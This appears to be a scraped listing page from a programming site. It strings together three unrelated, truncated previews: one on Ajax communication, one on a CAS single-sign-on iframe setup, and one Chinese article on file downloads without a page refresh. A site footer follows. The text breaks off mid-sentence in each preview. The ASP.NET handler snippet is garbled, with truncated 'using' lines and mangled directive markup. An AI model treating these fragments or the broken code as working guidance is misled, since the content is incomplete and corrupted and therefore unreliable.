16.6 Notes on Ajax technologies Use JavaScript to implement client / server communication, which greatly extends the JavaScript language features. However, the use of this power, it also brought some needed attention. In this section, the first two q
Environment: tomcat7.05 cas-server-3.4.5 cas-client-3.2.0 Uh, you're not wrong, is to use iframe implementation. This is not a good solution, even I myself feel a little look down on their own. But it is a simple to use and compatible with the most u
JS下载文件的实现在网上可以找到很多教程,不过本文为大家介绍的是无刷新下载文件,貌似更酷一点是吧 后台代码Handler.ashx &%@ WebHandler Language=&C#& Class=&Handler& %& using S using System.W public class Handler : IHttpHandler { public void ProcessRequest (HttpContext conte
Copyright (C) , All Rights Reserved.
版权所有 黔ICP备号-1
processed in 0.241 (s). 8 q(s)

我要回帖

更多关于 thinkphp now 的文章

 

随机推荐